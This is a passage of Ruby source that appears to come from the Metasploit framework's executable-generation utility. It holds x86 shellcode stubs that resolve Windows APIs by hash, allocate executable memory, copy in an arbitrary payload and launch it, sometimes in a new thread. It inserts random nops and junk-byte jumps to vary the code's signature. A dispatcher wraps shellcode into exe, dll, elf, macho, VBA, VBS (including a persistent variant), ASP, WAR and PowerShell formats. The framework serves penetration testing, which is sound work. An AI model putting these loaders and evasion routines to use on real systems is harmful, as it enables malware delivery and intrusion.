		  pop eax                ; Pop off the current (now the previous) modules EAT
		get_next_mod1:           ;
		  pop edi                ; Pop off the current (now the previous) modules hash
		  pop edx                ; Restore our position in the module list
		  mov edx, [edx]         ; Get the next module
		  jmp next_mod           ; Process this module
		^

		stub_exit = %Q^
		; Input: EBP must be the address of 'api_call'.
		; Output: None.
		; Clobbers: EAX, EBX, (ESP will also be modified)
		; Note: Execution is not expected to (successfully) continue past this block

		exitfunk:
		  mov ebx, 0x0A2A1DE0    ; The EXITFUNK as specified by user...
		  push 0x9DBD95A6        ; hash( "kernel32.dll", "GetVersion" )
		  call ebp               ; GetVersion(); (AL will = major version and AH will = minor version)
		  cmp al, byte 6         ; If we are not running on Windows Vista, 2008 or 7
		  jl goodbye             ; Then just call the exit function...
		  cmp bl, 0xE0           ; If we are trying a call to kernel32.dll!ExitThread on Windows Vista, 2008 or 7...
		  jne goodbye      ;
		  mov ebx, 0x6F721347    ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread
		goodbye:                 ; We now perform the actual call to the exit function
		  push byte 0            ; push the exit function parameter
		  push ebx               ; push the hash of the exit function
		  call ebp               ; call EXITFUNK( 0 );
		^

		stub_alloc = %Q^
		  cld                    ; Clear the direction flag.
		  call start             ; Call start, this pushes the address of 'api_call' onto the stack.
		delta:                   ;
		#{stub_block}
		start:                   ;
		  pop ebp                ; Pop off the address of 'api_call' for calling later.

		allocate_size:
		   mov esi, #{code.length}

		allocate:
		  push byte 0x40         ; PAGE_EXECUTE_READWRITE
		  push 0x1000            ; MEM_COMMIT
		  push esi               ; Push the length value of the wrapped code block
		  push byte 0            ; NULL as we dont care where the allocation is.
		  push 0xE553A458        ; hash( "kernel32.dll", "VirtualAlloc" )
		  call ebp               ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );

		  mov ebx, eax           ; Store allocated address in ebx
		  mov edi, eax           ; Prepare EDI with the new address
		  mov ecx, esi           ; Prepare ECX with the length of the code
		  call get_payload
		got_payload:
		  pop esi                ; Prepare ESI with the source to copy
		  rep movsb              ; Copy the payload to RWX memory
		  call set_handler       ; Configure error handling

		exitblock:
		#{stub_exit}
		set_handler:
		  xor eax,eax
		  push dword [fs:eax]
		  mov dword [fs:eax], esp
		  call ebx
		  jmp exitblock
		^

		stub_final = %Q^
		get_payload:
		  call got_payload
		payload:
		; Append an arbitrary payload here
		^

		stub_alloc.gsub!('short', '')
		stub_alloc.gsub!('byte', '')

		wrapper = ""
		# regs    = %W{eax ebx ecx edx esi edi ebp}

		cnt_jmp = 0
		stub_alloc.each_line do |line|
			line.gsub!(/;.*/, '')
			line.strip!
			next if line.empty?

			if (rand(2) == 0)
				wrapper << "nop\n"
			end

			if(rand(2) == 0)
				wrapper << "jmp autojump#{cnt_jmp}\n"
				1.upto(rand(8)+8) do
					wrapper << "db 0x#{"%.2x" % rand(0x100)}\n"
				end
				wrapper << "autojump#{cnt_jmp}:\n"
				cnt_jmp += 1
			end
			wrapper << line + "\n"
		end

		wrapper << stub_final

		enc = Metasm::Shellcode.assemble(Metasm::Ia32.new, wrapper).encoded
		res = enc.data + code

		res
	end

	# This wrapper is responsible for allocating RWX memory, copying the
	# target code there, setting an exception handler that calls ExitProcess,
	# starting the code in a new thread, and finally jumping back to the next
	# code to execute. block_offset is the offset of the next code from
	# the start of this code
	def self.win32_rwx_exec_thread(code, block_offset, which_offset='start')

		stub_block = %Q^
		; Input: The hash of the API to call and all its parameters must be pushed onto stack.
		; Output: The return value from the API call will be in EAX.
		; Clobbers: EAX, ECX and EDX (ala the normal stdcall calling convention)
		; Un-Clobbered: EBX, ESI, EDI, ESP and EBP can be expected to remain un-clobbered.
		; Note: This function assumes the direction flag has allready been cleared via a CLD instruction.
		; Note: This function is unable to call forwarded exports.

		api_call:
		  pushad                 ; We preserve all the registers for the caller, bar EAX and ECX.
		  mov ebp, esp           ; Create a new stack frame
		  xor edx, edx           ; Zero EDX
		  mov edx, [fs:edx+48]   ; Get a pointer to the PEB
		  mov edx, [edx+12]      ; Get PEB->Ldr
		  mov edx, [edx+20]      ; Get the first module from the InMemoryOrder module list
		next_mod:                ;
		  mov esi, [edx+40]      ; Get pointer to modules name (unicode string)
		  movzx ecx, word [edx+38] ; Set ECX to the length we want to check
		  xor edi, edi           ; Clear EDI which will store the hash of the module name
		loop_modname:            ;
		  xor eax, eax           ; Clear EAX
		  lodsb                  ; Read in the next byte of the name
		  cmp al, 'a'            ; Some versions of Windows use lower case module names
		  jl not_lowercase       ;
		  sub al, 0x20           ; If so normalise to uppercase
		not_lowercase:           ;
		  ror edi, 13            ; Rotate right our hash value
		  add edi, eax           ; Add the next byte of the name
		  loop loop_modname      ; Loop until we have read enough
		  ; We now have the module hash computed
		  push edx               ; Save the current position in the module list for later
		  push edi               ; Save the current module hash for later
		  ; Proceed to iterate the export address table,
		  mov edx, [edx+16]      ; Get this modules base address
		  mov eax, [edx+60]      ; Get PE header
		  add eax, edx           ; Add the modules base address
		  mov eax, [eax+120]     ; Get export tables RVA
		  test eax, eax          ; Test if no export address table is present
		  jz get_next_mod1       ; If no EAT present, process the next module
		  add eax, edx           ; Add the modules base address
		  push eax               ; Save the current modules EAT
		  mov ecx, [eax+24]      ; Get the number of function names
		  mov ebx, [eax+32]      ; Get the rva of the function names
		  add ebx, edx           ; Add the modules base address
		  ; Computing the module hash + function hash
		get_next_func:           ;
		  jecxz get_next_mod     ; When we reach the start of the EAT (we search backwards), process the next module
		  dec ecx                ; Decrement the function name counter
		  mov esi, [ebx+ecx*4]   ; Get rva of next module name
		  add esi, edx           ; Add the modules base address
		  xor edi, edi           ; Clear EDI which will store the hash of the function name
		  ; And compare it to the one we want
		loop_funcname:           ;
		  xor eax, eax           ; Clear EAX
		  lodsb                  ; Read in the next byte of the ASCII function name
		  ror edi, 13            ; Rotate right our hash value
		  add edi, eax           ; Add the next byte of the name
		  cmp al, ah             ; Compare AL (the next byte from the name) to AH (null)
		  jne loop_funcname      ; If we have not reached the null terminator, continue
		  add edi, [ebp-8]       ; Add the current module hash to the function hash
		  cmp edi, [ebp+36]      ; Compare the hash to the one we are searchnig for
		  jnz get_next_func      ; Go compute the next function hash if we have not found it
		  ; If found, fix up stack, call the function and then value else compute the next one...
		  pop eax                ; Restore the current modules EAT
		  mov ebx, [eax+36]      ; Get the ordinal table rva
		  add ebx, edx           ; Add the modules base address
		  mov cx, [ebx+2*ecx]    ; Get the desired functions ordinal
		  mov ebx, [eax+28]      ; Get the function addresses table rva
		  add ebx, edx           ; Add the modules base address
		  mov eax, [ebx+4*ecx]   ; Get the desired functions RVA
		  add eax, edx           ; Add the modules base address to get the functions actual VA
		  ; We now fix up the stack and perform the call to the desired function...
		finish:
		  mov [esp+36], eax      ; Overwrite the old EAX value with the desired api address for the upcoming popad
		  pop ebx                ; Clear off the current modules hash
		  pop ebx                ; Clear off the current position in the module list
		  popad                  ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered
		  pop ecx                ; Pop off the origional return address our caller will have pushed
		  pop edx                ; Pop off the hash value our caller will have pushed
		  push ecx               ; Push back the correct return value
		  jmp eax                ; Jump into the required function
		  ; We now automagically return to the correct caller...
		get_next_mod:            ;
		  pop eax                ; Pop off the current (now the previous) modules EAT
		get_next_mod1:           ;
		  pop edi                ; Pop off the current (now the previous) modules hash
		  pop edx                ; Restore our position in the module list
		  mov edx, [edx]         ; Get the next module
		  jmp next_mod           ; Process this module
		^

		stub_exit = %Q^
		; Input: EBP must be the address of 'api_call'.
		; Output: None.
		; Clobbers: EAX, EBX, (ESP will also be modified)
		; Note: Execution is not expected to (successfully) continue past this block

		exitfunk:
		  mov ebx, 0x0A2A1DE0    ; The EXITFUNK as specified by user...
		  push 0x9DBD95A6        ; hash( "kernel32.dll", "GetVersion" )
		  call ebp               ; GetVersion(); (AL will = major version and AH will = minor version)
		  cmp al, byte 6         ; If we are not running on Windows Vista, 2008 or 7
		  jl goodbye       ; Then just call the exit function...
		  cmp bl, 0xE0           ; If we are trying a call to kernel32.dll!ExitThread on Windows Vista, 2008 or 7...
		  jne goodbye      ;
		  mov ebx, 0x6F721347    ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread
		goodbye:                 ; We now perform the actual call to the exit function
		  push byte 0            ; push the exit function parameter
		  push ebx               ; push the hash of the exit function
		  call ebp               ; call EXITFUNK( 0 );
		^

		stub_alloc = %Q^
		  pushad                 ; Save registers
		  cld                    ; Clear the direction flag.
		  call start             ; Call start, this pushes the address of 'api_call' onto the stack.
		delta:                   ;
		#{stub_block}
		start:                   ;
		  pop ebp                ; Pop off the address of 'api_call' for calling later.

		allocate_size:
		   mov esi,#{code.length}

		allocate:
		  push byte 0x40         ; PAGE_EXECUTE_READWRITE
		  push 0x1000            ; MEM_COMMIT
		  push esi               ; Push the length value of the wrapped code block
		  push byte 0            ; NULL as we dont care where the allocation is.
		  push 0xE553A458        ; hash( "kernel32.dll", "VirtualAlloc" )
		  call ebp               ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );

		  mov ebx, eax           ; Store allocated address in ebx
		  mov edi, eax           ; Prepare EDI with the new address
		  mov ecx, esi           ; Prepare ECX with the length of the code
		  call get_payload
		got_payload:
		  pop esi                ; Prepare ESI with the source to copy
		  rep movsb              ; Copy the payload to RWX memory
		  call set_handler       ; Configure error handling

		exitblock:
		#{stub_exit}

		set_handler:
		  xor eax,eax
;		  push dword [fs:eax]
;		  mov dword [fs:eax], esp
		  push eax               ; LPDWORD lpThreadId (NULL)
		  push eax               ; DWORD dwCreationFlags (0)
		  push eax               ; LPVOID lpParameter (NULL)
		  push ebx               ; LPTHREAD_START_ROUTINE lpStartAddress (payload)
		  push eax               ; SIZE_T dwStackSize (0 for default)
		  push eax               ; LPSECURITY_ATTRIBUTES lpThreadAttributes (NULL)
		  push 0x160D6838        ; hash( "kernel32.dll", "CreateThread" )
		  call ebp               ; Spawn payload thread

		  pop eax                ; Skip
;		  pop eax                ; Skip
		  pop eax                ; Skip
		  popad                  ; Get our registers back
;		  sub esp, 44             ; Move stack pointer back past the handler
		^

		stub_final = %Q^
		get_payload:
		  call got_payload
		payload:
		; Append an arbitrary payload here
		^


		stub_alloc.gsub!('short', '')
		stub_alloc.gsub!('byte', '')

		wrapper = ""
		# regs    = %W{eax ebx ecx edx esi edi ebp}

		cnt_jmp = 0
		cnt_nop = 64

		stub_alloc.each_line do |line|
			line.gsub!(/;.*/, '')
			line.strip!
			next if line.empty?

			if (cnt_nop > 0 and rand(4) == 0)
				wrapper << "nop\n"
				cnt_nop -= 1
			end

			if(cnt_nop > 0 and rand(16) == 0)
				cnt_nop -= 2
				cnt_jmp += 1

				wrapper << "jmp autojump#{cnt_jmp}\n"
				1.upto(rand(8)+1) do
					wrapper << "db 0x#{"%.2x" % rand(0x100)}\n"
					cnt_nop -= 1
				end
				wrapper << "autojump#{cnt_jmp}:\n"
			end
			wrapper << line + "\n"
		end

		#someone who knows how to use metasm please explain the right way to do this.
		wrapper << "db 0xe9\n db 0xFF\n db 0xFF\n db 0xFF\n db 0xFF\n"
		wrapper << stub_final

		enc = Metasm::Shellcode.assemble(Metasm::Ia32.new, wrapper).encoded
		soff = enc.data.index("\xe9\xff\xff\xff\xff") + 1
		res = enc.data + code

		if which_offset == 'start'
			res[soff,4] = [block_offset - (soff + 4)].pack('V')
		elsif which_offset == 'end'
			res[soff,4] = [res.length - (soff + 4) + block_offset].pack('V')
		else
			raise RuntimeError, 'Blast! Msf::Util::EXE.rwx_exec_thread called with invalid offset!'
		end
		res
	end


	#
	# Generate an executable of a given format suitable for running on the
	# architecture/platform pair.
	#
	# This routine is shared between msfencode, rpc, and payload modules (use
	# <payload>)
	#
	# @param framework [Framework]
	# @param arch [String] Architecture for the target format; one of the ARCH_*
	# constants
	# @param plat [#index] platform
	# @param code [String] The shellcode for the resulting executable to run
	# @param fmt [String] One of the executable formats as defined in
	#   {.to_executable_fmt_formats}
	# @param exeopts [Hash] Passed directly to the approrpriate method for
	#   generating an executable for the given +arch+/+plat+ pair.
	# @return [String] An executable appropriate for the given
	#   architecture/platform pair.
	# @return [nil] If the format is unrecognized or the arch and plat don't
	#   make sense together.
	def self.to_executable_fmt(framework, arch, plat, code, fmt, exeopts)
		# For backwards compatibility with the way this gets called when
		# generating from Msf::Simple::Payload.generate_simple
		if arch.kind_of? Array
			output = nil
			arch.each do |a|
				output = to_executable_fmt(framework, a, plat, code, fmt, exeopts)
				break if output
			end
			return output
		end

		case fmt
		when 'asp'
			output = Msf::Util::EXE.to_win32pe_asp(framework, code, exeopts)

		when 'aspx'
			output = Msf::Util::EXE.to_win32pe_aspx(framework, code, exeopts)

		when 'dll'
			output = case arch
				when ARCH_X86,nil then to_win32pe_dll(framework, code, exeopts)
				when ARCH_X86_64  then to_win64pe_dll(framework, code, exeopts)
				when ARCH_X64     then to_win64pe_dll(framework, code, exeopts)
				end
		when 'exe'
			output = case arch
				when ARCH_X86,nil then to_win32pe(framework, code, exeopts)
				when ARCH_X86_64  then to_win64pe(framework, code, exeopts)
				when ARCH_X64     then to_win64pe(framework, code, exeopts)
				end

		when 'exe-small'
			output = case arch
				when ARCH_X86,nil then to_win32pe_old(framework, code, exeopts)
				end

		when 'exe-only'
			output = case arch
				when ARCH_X86,nil then to_winpe_only(framework, code, exeopts, arch)
				when ARCH_X86_64  then to_winpe_only(framework, code, exeopts, arch)
				when ARCH_X64     then to_winpe_only(framework, code, exeopts, arch)
				end

		when 'elf'
			if (not plat or (plat.index(Msf::Module::Platform::Linux)))
				output = case arch
					when ARCH_X86,nil then to_linux_x86_elf(framework, code, exeopts)
					when ARCH_X86_64  then to_linux_x64_elf(framework, code, exeopts)
					when ARCH_X64     then to_linux_x64_elf(framework, code, exeopts)
					when ARCH_ARMLE   then to_linux_armle_elf(framework, code, exeopts)
					when ARCH_MIPSBE  then to_linux_mipsbe_elf(framework, code, exeopts)
					when ARCH_MIPSLE  then to_linux_mipsle_elf(framework, code, exeopts)
					end
			elsif(plat and (plat.index(Msf::Module::Platform::BSD)))
				output = case arch
					when ARCH_X86,nil then Msf::Util::EXE.to_bsd_x86_elf(framework, code, exeopts)
					end
			elsif(plat and (plat.index(Msf::Module::Platform::Solaris)))
				output = case arch
					when ARCH_X86,nil then to_solaris_x86_elf(framework, code, exeopts)
					end
			end

		when 'macho'
			output = case arch
				when ARCH_X86,nil then to_osx_x86_macho(framework, code, exeopts)
				when ARCH_X86_64  then to_osx_x64_macho(framework, code, exeopts)
				when ARCH_X64     then to_osx_x64_macho(framework, code, exeopts)
				when ARCH_ARMLE   then to_osx_arm_macho(framework, code, exeopts)
				when ARCH_PPC     then to_osx_ppc_macho(framework, code, exeopts)
				end

		when 'vba'
			output = Msf::Util::EXE.to_vba(framework, code, exeopts)

		when 'vba-exe'
			exe = Msf::Util::EXE.to_win32pe(framework, code, exeopts)
			output = Msf::Util::EXE.to_exe_vba(exe)

		when 'vbs'
			output = Msf::Util::EXE.to_win32pe_vbs(framework, code, exeopts.merge({ :persist => false }))

		when 'loop-vbs'
			output = Msf::Util::EXE.to_win32pe_vbs(framework, code, exeopts.merge({ :persist => true }))

		when 'war'
			arch ||= [ ARCH_X86 ]
			tmp_plat = plat.platforms if plat
			tmp_plat ||= Msf::Module::PlatformList.transform('win')
			exe = Msf::Util::EXE.to_executable(framework, arch, tmp_plat, code, exeopts)
			output = Msf::Util::EXE.to_jsp_war(exe)

		when 'psh'
			output = Msf::Util::EXE.to_win32pe_psh(framework, code, exeopts)

		when 'psh-net'
			output = Msf::Util::EXE.to_win32pe_psh_net(framework, code, exeopts)

		end

		output
	end

	def self.to_executable_fmt_formats
		[
			'dll','exe','exe-small','exe-only','elf','macho','vba','vba-exe',
			'vbs','loop-vbs','asp','aspx','war','psh','psh-net'
		]
	end

	#
	# EICAR Canary: https://www.metasploit.com/redmine/projects/framework/wiki/EICAR
	#
	def self.is_eicar_corrupted?
		path = ::File.expand_path(::File.join(::File.dirname(__FILE__), "..", "..", "..", "data", "eicar.com"))
		return true if not ::File.exists?(path)

		begin
			data = ::File.read(path)
			if Digest::SHA1.hexdigest(data) != "3395856ce81f2b7382dee72602f798b642f14140"
				return true
			end

		rescue ::Exception
			return true
		end

		false
	end

end
end
end